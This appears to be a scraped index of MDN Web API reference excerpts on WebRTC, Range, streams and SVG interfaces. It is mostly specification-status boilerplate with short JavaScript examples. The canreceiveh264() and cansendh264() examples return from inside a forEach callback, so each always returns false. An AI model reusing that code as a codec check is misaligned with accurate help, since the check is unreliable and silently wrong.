pc.ontrack = e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial specification.
RTCPeerConnectionIceEvent() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnectionIceEvent.candidate - Web APIs
example pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent.candidate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnectionIceEvent - Web APIs
examples pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection: idpvalidationerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in that specification.
... candidate recommendation initial definition.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats.localid' in that specification.
... candidate recommendation initial definition.
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats.remotetimestamp' in that specification.
... candidate recommendation initial definition.
RTCRemoteOutboundRtpStreamStats - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats' in that specification.
... candidate recommendation initial definition.
RTCRtcpParameters - Web APIs
function getrtpcname(rtpobject) { let parameters = rtpobject.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtcpparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpCapabilities - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcapabilities' in that specification.
... candidate recommendation ...
RTCRtpCodecCapability - Web APIs
examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcodeccapability' in that specification.
... candidate recommendation ...
RTCRtpContributingSource.audioLevel - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'audiolevel' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.rtpTimestamp - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtptimestamp' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.source - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'source' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.timestamp - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'timestamp' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource - Web APIs
timestamp optional a domhighrestimestamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters.maxBitrate - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.maxbitrate' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.scaleresolutiondownby' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpParameters - Web APIs
function getrtpcname(rtpobject) { let parameters = rtpobject.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiveparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiveParameters - Web APIs
function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiveparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getCapabilities() static function - Web APIs
function canreceiveh264() { let capabilities = rtcrtpreceiver.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getcapabilities()' in that specification.
... candidate recommendation ...
RTCRtpReceiver.getContributingSources() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getcontributingsources()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getParameters() - Web APIs
function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getStats() - Web APIs
receiver.getstats().then(function(stats) { document.getelementbyid("lostpackets").innertext = stats.packetslost; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getstats()' in that specification.
... candidate recommendation initial specification.
RTCRtpReceiver.getSynchronizationSources() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getsynchronizationsources()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.transport - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.transport' in that specification.
... candidate recommendation ...
RTCRtpReceiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver' in that specification.
... candidate recommendation initial definition.
RTCRtpSendParameters.encodings - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters.encodings' in that specification.
... candidate recommendation initial definition.
RTCRtpSendParameters - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.dtmf - Web APIs
WebAPIRTCRtpSenderdtmf
only audio tracks can support dtmf, and typically only one audio track per rtcpeerconnection will have an associated rtcdtmfsender example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.dtmf' in that specification.
... candidate recommendation ...
RTCRtpSender.getCapabilities() static function - Web APIs
function cansendh264() { let capabilities = rtcrtpsender.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getcapabilities()' in that specification.
... candidate recommendation ...
RTCRtpSender.getParameters() - Web APIs
function getsendertransactionid(sender) { let parameters = sender.getparameters(); return parameters.transactionid; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.getStats() - Web APIs
sender.getstats().then(function(stats) { document.getelementbyid("currentrtt").innertext = stats.roundtriptime; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getstats()' in that specification.
... candidate recommendation initial specification.
RTCRtpSender.setParameters() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.setparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.setStreams() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.setstreams()' in that specification.
... candidate recommendation ...
RTCRtpSender.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.transport - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.transport' in that specification.
... candidate recommendation ...
RTCRtpSender - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender' in that specification.
... candidate recommendation ...
RTCRtpStreamStats.codecId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.codecid' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.kind - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.kind' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.transportId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.transportid' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats' in that specification.
... candidate recommendation initial definition.
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'voiceactivityflag' in that specification.
... candidate recommendation initial definition.
RTCRtpSynchronizationSource - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsynchronizationsource' in that specification.
... candidate recommendation initial definition.
RTCRtpTransceiver.currentDirection - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.currentdirection' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.direction - Web APIs
for example, if the direction is specified as "sendrecv", the corresponding sdp a-line is: a=sendrecv specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.direction' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.mid - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.mid' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.receiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.receiver' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.sender - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.sender' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.setCodecPreferences() - Web APIs
var availsendcodecs = transceiver.sender.getcapabilities("video").codecs; var availreceivecodecs = transceiver.receiver.getcapabilities("video").codecs; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.setcodecpreferences()' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.stopped - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.stopped' in that specification.
... candidate recommendation ...
RTCRtpTransceiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver' in that specification.
... candidate recommendation ...
RTCRtpTransceiverDirection - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverdirection' in that specification.
... candidate recommendation ...
RTCRtpTransceiverInit - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverinit' in that specification.
... candidate recommendation ...
RTCSctpTransport.state - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport.state' in that specification.
... candidate recommendation initial definition.
RTCSctpTransport - Web APIs
methods this interface has no methods, but inherits methods from: eventtarget example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport' in that specification.
... candidate recommendation initial definition.
RTCSessionDescription() - Web APIs
}, error); }, error); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription()' in that specification.
... candidate recommendation initial specification.
RTCSessionDescription.sdp - Web APIs
2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 example // the remote description has been set previously on pc, an rtcpeerconnection alert(pc.remotedescription.sdp); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.sdp' in that specification.
... candidate recommendation initial specification.
RTCSessionDescription.toJSON() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription: tojson()' in that specification.
... candidate recommendation initial specification.
RTCSessionDescription.type - Web APIs
example // the remote description has been set previously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification.
... candidate recommendation initial specification.
RTCSessionDescription - Web APIs
iption(message), function () { // if we received an offer, we need to answer if (pc.remotedescription.type == "offer") pc.createanswer(localdesccreated, logerror); }, logerror); else pc.addicecandidate(new rtcicecandidate(message.candidate), function () {}, logerror); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription' in that specification.
... candidate recommendation initial definition.
RTCSessionDescriptionCallback - Web APIs
example var pc = new rtcpeerconnection(); var descriptioncallback = function(offer) { pc.setlocaldescription(offer); } pc.createoffer(descriptioncallback); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescriptioncallback' in that specification.
... candidate recommendation initial definition.
RTCStats.id - Web APIs
WebAPIRTCStatsid
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.id' in that specification.
... candidate recommendation initial definition.
RTCStats.timestamp - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.timestamp' in that specification.
... candidate recommendation initial definition.
RTCStats.type - Web APIs
WebAPIRTCStatstype
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.type' in that specification.
... candidate recommendation initial definition.
RTCStats - Web APIs
WebAPIRTCStats
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats' in that specification.
... candidate recommendation initial specification.
RTCStatsIceCandidatePairState - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcstatsicecandidatepairstate' in that specification.
... candidate recommendation initial specification.
RTCStatsType - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcstatstype' in that specification.
... candidate recommendation initial definition.
RTCTrackEvent() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent()' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.receiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.receiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.streams - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.streams' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.track' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.transceiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.transceiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent - Web APIs
peerconnection.addeventlistener("track", e => { let videoelement = document.getelementbyid("videobox"); videoelement.srcobject = e.streams[0]; }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.receiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.receiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.streams - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.streams' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.track' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit' in that specification.
... candidate recommendation initial specification.
Range.comparePoint() - Web APIs
if the reference node is a node of type text, comment, or cdatasection, then offset is the number of characters from the start of reference node.
... example range = document.createrange(); range.selectnode(document.getelementsbytagname('div').item(0)); returnvalue = range.comparepoint(document.getelementsbytagname('p').item(0), 1); specification specification status comment domthe definition of 'range.comparepoint()' in that specification.
Range.endOffset - Web APIs
WebAPIRangeendOffset
if the endcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the start of the endcontainer to the boundary point of the range.
... syntax endrangeoffset = range.endoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangeoffset = range.endoffset; specifications specification status comment domthe definition of 'range.endoffset' in that specification.
Range.extractContents() - Web APIs
e: 1.2em; padding: .5em; pointer-events: auto; } javascript const list1 = document.getelementbyid('list1'); const list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.appendchild(documentfragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const documentfragment = range.extractcontents(); list1.appendchild(docume...
...ntfragment); } } }); result specifications specification status comment domthe definition of 'range.extractcontents()' in that specification.
Range.setStart() - Web APIs
WebAPIRangesetStart
if the startnode is a node of type text, comment, or cdatasection, then startoffset is the number of characters from the start of startnode.
...6789</p> <p id="log"></p> javascript const element = document.getelementbyid('content'); const textnode = element.childnodes[0]; const range = document.createrange(); range.setstart(textnode, 0); // start at first character range.setend(textnode, 5); // end at fifth character document.getelementbyid('log').textcontent = range; result specifications specification status comment domthe definition of 'range.setstart()' in that specification.
Range.startOffset - Web APIs
WebAPIRangestartOffset
if the startcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the start of the startcontainer to the boundary point of the range.
... syntax startrangeoffset = range.startoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); var startrangeoffset = range.startoffset; specifications specification status comment domthe definition of 'range.startoffset' in that specification.
Range - Web APIs
WebAPIRange
range.commonancestorcontainer read only returns the deepest node that contains the startcontainer and endcontainer nodes.
... specifications specification status comment domthe definition of 'range' in that specification.
ReadableStream.ReadableStream() - Web APIs
underlyingsource can contain the following: start(controller) this is a method, called immediately when the object is constructed.
...addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'readablestream()' in that specification.
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
specifications specification status comment orientation sensorthe definition of 'relativeorientationsensor()' in that specification.
... candidate recommendation initial definition.
RelativeOrientationSensor - Web APIs
} else { console.log("no permissions to use relativeorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'relativeorientationsensor' in that specification.
... candidate recommendation initial definition.
ReportingObserver() - Web APIs
this is probably the most common way to retrieve the reports.
... examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserver()' in that specification.
Resource Timing API - Web APIs
the first property in the processing model is starttime which returns the timestamp immediately before the resource loading process begins.
...the next stages are connectstart and connectend which are the timestamps immediately before and after connecting to the server, respectively.
Response.type - Web APIs
WebAPIResponsetype
the response’s status is 0, headers are empty and immutable.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'type' in that specification.
RsaHashedImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedimportparams' in that specification.
... recommendation ...
RsaOaepParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsaoaepparams' in that specification.
... recommendation ...
RsaPssParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsapssparams' in that specification.
... recommendation ...
SVGAElement.target - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'target' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
SVGAltGlyphDefElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgaltglyphdefelement' in that specification.
... recommendation initial definition ...
SVGAltGlyphElement.glyphRef - Web APIs
example myglyph.glypref = "#glyphid"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref' in that specification.
... recommendation ...
SVGAltGlyphElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgaltglyphelement' in that specification.
... recommendation initial definition ...
SVGAltGlyphItemElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgaltglyphitemelement' in that specification.
... recommendation initial definition ...
SVGAnimateColorElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimatecolorelement' in that specification.
... recommendation initial definition ...
SVGAnimateElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimateelement' in that specification.
... recommendation initial definition ...
SVGAnimateMotionElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimatemotionelement' in that specification.
... recommendation initial definition ...
SVGAnimateTransformElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimatetransformelement' in that specification.
... recommendation initial definition ...
SVGAnimationElement: beginEvent event - Web APIs
if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbegin event handler property: animateelem.onbegin = () => { console.log('beginevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'beginevent' in that specification.
... candidate recommendation initial definition ...
SVGAnimationElement: endEvent event - Web APIs
pendchild(listitem); }) btn.addeventlistener('click', () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler property: animateelem.onend = () => { console.log('endevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'endevent' in that specification.
... candidate recommendation initial definition ...
SVGAnimationElement: repeatEvent event - Web APIs
f(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onrepeat event handler property: animateelem.onrepeat = () => { console.log('repeatevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'repeatevent' in that specification.
... candidate recommendation initial definition ...
targetElement - Web APIs
syntax var targetelement = someelement.targetelement; specifications specification status comment svg animations level 2the definition of 'svganimationelement.targetelement' in that specification.
... recommendation initial definition ...
SVGAnimationElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svganimationelement' in that specification.
... recommendation initial definition ...
SVGColorProfileElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcolorprofileelement' in that specification.
... recommendation initial definition ...
SVGCursorElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcursorelement' in that specification.
... recommendation initial definition ...
SVGElement: error event - Web APIs
bubbles yes cancelable no interface svgevent event handler property onerror examples svgelem.addeventlistener('error', () => { console.log('svg not loaded properly.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'error' in that specification.
... candidate recommendation initial definition ...
SVGElement: load event - Web APIs
bubbles no cancelable no interface svgevent event handler property onload examples svgelem.addeventlistener('load', () => { console.log('svg loaded.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'load' in that specification.
... candidate recommendation initial definition ...
SVGElement: resize event - Web APIs
bubbles no cancelable no interface svgevent event handler property onresize examples svgelem.addeventlistener('resize', () => { console.log('svg resized.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
... candidate recommendation initial definition ...
SVGElement: scroll event - Web APIs
bubbles no cancelable no interface svgevent event handler property onscroll examples svgelem.addeventlistener('scroll', () => { console.log('svg scrolled.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
... candidate recommendation initial definition ...
SVGElement: unload event - Web APIs
bubbles no cancelable no interface svgevent event handler property onunload examples svgelem.addeventlistener('unload', () => { console.log('svg unloaded.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'unload' in that specification.
... candidate recommendation initial definition ...
SVGExternalResourcesRequired - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgexternalresourcesrequired' in that specification.
... recommendation initial definition ...
SVGFEBlendElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeblendelement' in that specification.
... recommendation initial definition ...
SVGFEColorMatrixElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfecolormatrixelement' in that specification.
... recommendation initial definition ...
SVGFEComponentTransferElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfecomponenttransferelement' in that specification.
... recommendation initial definition ...
SVGFECompositeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfecompositeelement' in that specification.
... recommendation initial definition ...
SVGFEConvolveMatrixElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeconvolvematrixelement' in that specification.
... recommendation initial definition ...
SVGFEDiffuseLightingElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfediffuselightingelement' in that specification.
... recommendation initial definition ...
SVGFEDisplacementMapElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfedisplacementmapelement' in that specification.
... recommendation initial definition ...
SVGFEDistantLightElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfedistantlightelement' in that specification.
... recommendation initial definition ...
SVGFEFloodElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefloodelement' in that specification.
... recommendation initial definition ...
SVGFEFuncAElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncaelement' in that specification.
... recommendation initial definition ...
SVGFEFuncBElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncbelement' in that specification.
... recommendation initial definition ...
SVGFEFuncGElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncgelement' in that specification.
... recommendation initial definition ...
SVGFEFuncRElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncrelement' in that specification.
... recommendation initial definition ...
SVGFEGaussianBlurElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfegaussianblurelement' in that specification.
... recommendation initial definition ...
SVGFEImageElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeimageelement' in that specification.
... recommendation initial definition ...
SVGFEMergeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemergeelement' in that specification.
... recommendation initial definition ...
SVGFEMergeNodeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemergenodeelement' in that specification.
... recommendation initial definition ...
SVGFEMorphologyElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemorphologyelement' in that specification.
... recommendation initial definition ...
SVGFEOffsetElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeoffsetelement' in that specification.
... recommendation initial definition ...
SVGFEPointLightElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfepointlightelement' in that specification.
... recommendation initial definition ...
SVGFESpecularLightingElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfespecularlightingelement' in that specification.
... recommendation initial definition ...
SVGFESpotLightElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfespotlightelement' in that specification.
... recommendation initial definition ...
SVGFETileElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfetileelement' in that specification.
... recommendation initial definition ...
SVGFETurbulenceElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeturbulenceelement' in that specification.
... recommendation initial definition ...
SVGFilterElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfilterelement' in that specification.
... recommendation initial definition ...
SVGFontElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontelement' in that specification.
... recommendation initial definition ...
SVGFontFaceElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfaceelement' in that specification.
... recommendation initial definition ...
SVGFontFaceFormatElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfaceformatelement' in that specification.
... recommendation initial definition ...
SVGFontFaceNameElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfacenameelement' in that specification.
... recommendation initial definition ...
SVGFontFaceSrcElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfacesrcelement' in that specification.
... recommendation initial definition ...
SVGFontFaceUriElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfaceurielement' in that specification.
... recommendation initial definition ...
SVGGeometryElement.getPointAtLength() - Web APIs
